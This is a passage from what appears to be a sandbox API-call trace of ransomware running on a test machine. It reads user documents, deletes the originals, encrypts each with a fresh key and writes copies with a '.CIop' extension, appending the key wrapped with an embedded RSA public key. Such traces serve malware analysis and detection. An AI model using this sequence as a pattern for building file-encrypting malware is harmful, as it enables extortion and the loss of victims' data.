/yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.810] lstrcpyW (in: lpString1=0x2f0f368, lpString2="3kj8Y-EDPTFO.pptx" | out: lpString1="3kj8Y-EDPTFO.pptx") returned="3kj8Y-EDPTFO.pptx" [0091.810] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.810] SetErrorMode (uMode=0x1) returned 0x1 [0091.810] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\3kj8Y-EDPTFO.pptx") returned 97 [0091.810] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\3kj8Y-EDPTFO.pptx", dwFileAttributes=0x20) returned 1 [0091.811] StrStrW (lpFirst="3kj8Y-EDPTFO.pptx", lpSrch=".CIop") returned 0x0 [0091.811] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\3kj8Y-EDPTFO.pptx.CIop") returned 102 [0091.811] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\3kj8Y-EDPTFO.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\3kj8y-edptfo.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x444 [0091.812] ReadFile (in: hFile=0x444, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x12204, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x12204, lpOverlapped=0x0) returned 1 [0091.813] CloseHandle (hObject=0x444) returned 1 [0091.813] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\3kj8Y-EDPTFO.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\3kj8y-edptfo.pptx")) returned 1 [0091.815] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0091.815] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0091.815] SetErrorMode (uMode=0x1) returned 0x1 [0091.815] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d668) returned 1 [0091.817] CryptGenKey (in: hProv=0x62d668, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3610) returned 1 [0091.851] CryptExportKey (in: hKey=0x5c3610, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.851] CryptExportKey (in: hKey=0x5c3610, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.851] CryptDestroyKey (hKey=0x5c3610) returned 1 [0091.851] CryptReleaseContext (hProv=0x62d668, dwFlags=0x0) returned 1 [0091.851] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\3kj8Y-EDPTFO.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\3kj8y-edptfo.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x444 [0091.851] WriteFile (in: hFile=0x444, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x12204, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x12204, lpOverlapped=0x0) returned 1 [0091.853] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12204 [0091.853] WriteFile (in: hFile=0x444, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.853] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1220b [0091.853] SetErrorMode (uMode=0x1) returned 0x1 [0091.853] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.853] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.853] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0091.853] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62dbb8) returned 1 [0091.854] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62dbb8, dwCertEncodingType=0x1, pInfo=0x6822b0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3790) returned 1 [0091.854] CryptEncrypt (in: hKey=0x5c3790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0091.854] CryptEncrypt (in: hKey=0x5c3790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d5e0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d5e0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0091.854] WriteFile (in: hFile=0x444, lpBuffer=0x62d5e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d5e0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.854] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.855] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.855] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.855] CloseHandle (hObject=0x444) returned 1 [0091.858] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\3kj8Y-EDPTFO.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\3kj8y-edptfo.pptx")) returned 0 Thread: id = 78 os_tid = 0x61c [0091.908] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.908] lstrcpyW (in: lpString1=0x2f0f368, lpString2="5NEaCJn_lqI_2wf_A.pdf" | out: lpString1="5NEaCJn_lqI_2wf_A.pdf") returned="5NEaCJn_lqI_2wf_A.pdf" [0091.908] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.908] SetErrorMode (uMode=0x1) returned 0x1 [0091.908] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\5NEaCJn_lqI_2wf_A.pdf") returned 101 [0091.908] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\5NEaCJn_lqI_2wf_A.pdf", dwFileAttributes=0x20) returned 1 [0091.908] StrStrW (lpFirst="5NEaCJn_lqI_2wf_A.pdf", lpSrch=".CIop") returned 0x0 [0091.908] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\5NEaCJn_lqI_2wf_A.pdf.CIop") returned 106 [0091.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\5NEaCJn_lqI_2wf_A.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\5neacjn_lqi_2wf_a.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x450 [0091.910] ReadFile (in: hFile=0x450, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x14fe7, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x14fe7, lpOverlapped=0x0) returned 1 [0091.911] CloseHandle (hObject=0x450) returned 1 [0091.911] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\5NEaCJn_lqI_2wf_A.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\5neacjn_lqi_2wf_a.pdf")) returned 1 [0091.912] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0091.912] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0091.913] SetErrorMode (uMode=0x1) returned 0x1 [0091.913] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d1a0) returned 1 [0091.915] CryptGenKey (in: hProv=0x62d1a0, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3a10) returned 1 [0091.936] CryptExportKey (in: hKey=0x5c3a10, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.936] CryptExportKey (in: hKey=0x5c3a10, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.936] CryptDestroyKey (hKey=0x5c3a10) returned 1 [0091.936] CryptReleaseContext (hProv=0x62d1a0, dwFlags=0x0) returned 1 [0091.936] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\5NEaCJn_lqI_2wf_A.pdf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\5neacjn_lqi_2wf_a.pdf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x450 [0091.936] WriteFile (in: hFile=0x450, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x14fe7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x14fe7, lpOverlapped=0x0) returned 1 [0091.938] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14fe7 [0091.938] WriteFile (in: hFile=0x450, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.938] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14fee [0091.938] SetErrorMode (uMode=0x1) returned 0x1 [0091.938] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.938] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.938] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0091.938] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62d4d0) returned 1 [0091.938] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d4d0, dwCertEncodingType=0x1, pInfo=0x681d00, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3a10) returned 1 [0091.938] CryptEncrypt (in: hKey=0x5c3a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0091.938] CryptEncrypt (in: hKey=0x5c3a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62dc40*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62dc40*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0091.939] WriteFile (in: hFile=0x450, lpBuffer=0x62dc40*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62dc40*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.939] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.940] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.940] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.940] CloseHandle (hObject=0x450) returned 1 [0091.942] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\5NEaCJn_lqI_2wf_A.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\5neacjn_lqi_2wf_a.pdf")) returned 0 Thread: id = 79 os_tid = 0xb64 [0091.967] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.967] lstrcpyW (in: lpString1=0x2f0f368, lpString2="gGPxR1SI06PikWMCd.rtf" | out: lpString1="gGPxR1SI06PikWMCd.rtf") returned="gGPxR1SI06PikWMCd.rtf" [0091.967] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0091.967] SetErrorMode (uMode=0x1) returned 0x1 [0091.967] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\gGPxR1SI06PikWMCd.rtf") returned 101 [0091.967] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\gGPxR1SI06PikWMCd.rtf", dwFileAttributes=0x20) returned 1 [0091.968] StrStrW (lpFirst="gGPxR1SI06PikWMCd.rtf", lpSrch=".CIop") returned 0x0 [0091.968] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\gGPxR1SI06PikWMCd.rtf.CIop") returned 106 [0091.968] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\gGPxR1SI06PikWMCd.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ggpxr1si06pikwmcd.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0091.969] ReadFile (in: hFile=0x454, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x10f17, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x10f17, lpOverlapped=0x0) returned 1 [0091.970] CloseHandle (hObject=0x454) returned 1 [0091.970] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\gGPxR1SI06PikWMCd.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ggpxr1si06pikwmcd.rtf")) returned 1 [0091.971] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0091.972] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0091.972] SetErrorMode (uMode=0x1) returned 0x1 [0091.972] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d1a0) returned 1 [0091.975] CryptGenKey (in: hProv=0x62d1a0, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3650) returned 1 [0091.998] CryptExportKey (in: hKey=0x5c3650, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.998] CryptExportKey (in: hKey=0x5c3650, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.998] CryptDestroyKey (hKey=0x5c3650) returned 1 [0091.998] CryptReleaseContext (hProv=0x62d1a0, dwFlags=0x0) returned 1 [0091.998] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\gGPxR1SI06PikWMCd.rtf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ggpxr1si06pikwmcd.rtf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x45c [0091.998] WriteFile (in: hFile=0x45c, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x10f17, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x10f17, lpOverlapped=0x0) returned 1 [0091.999] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, 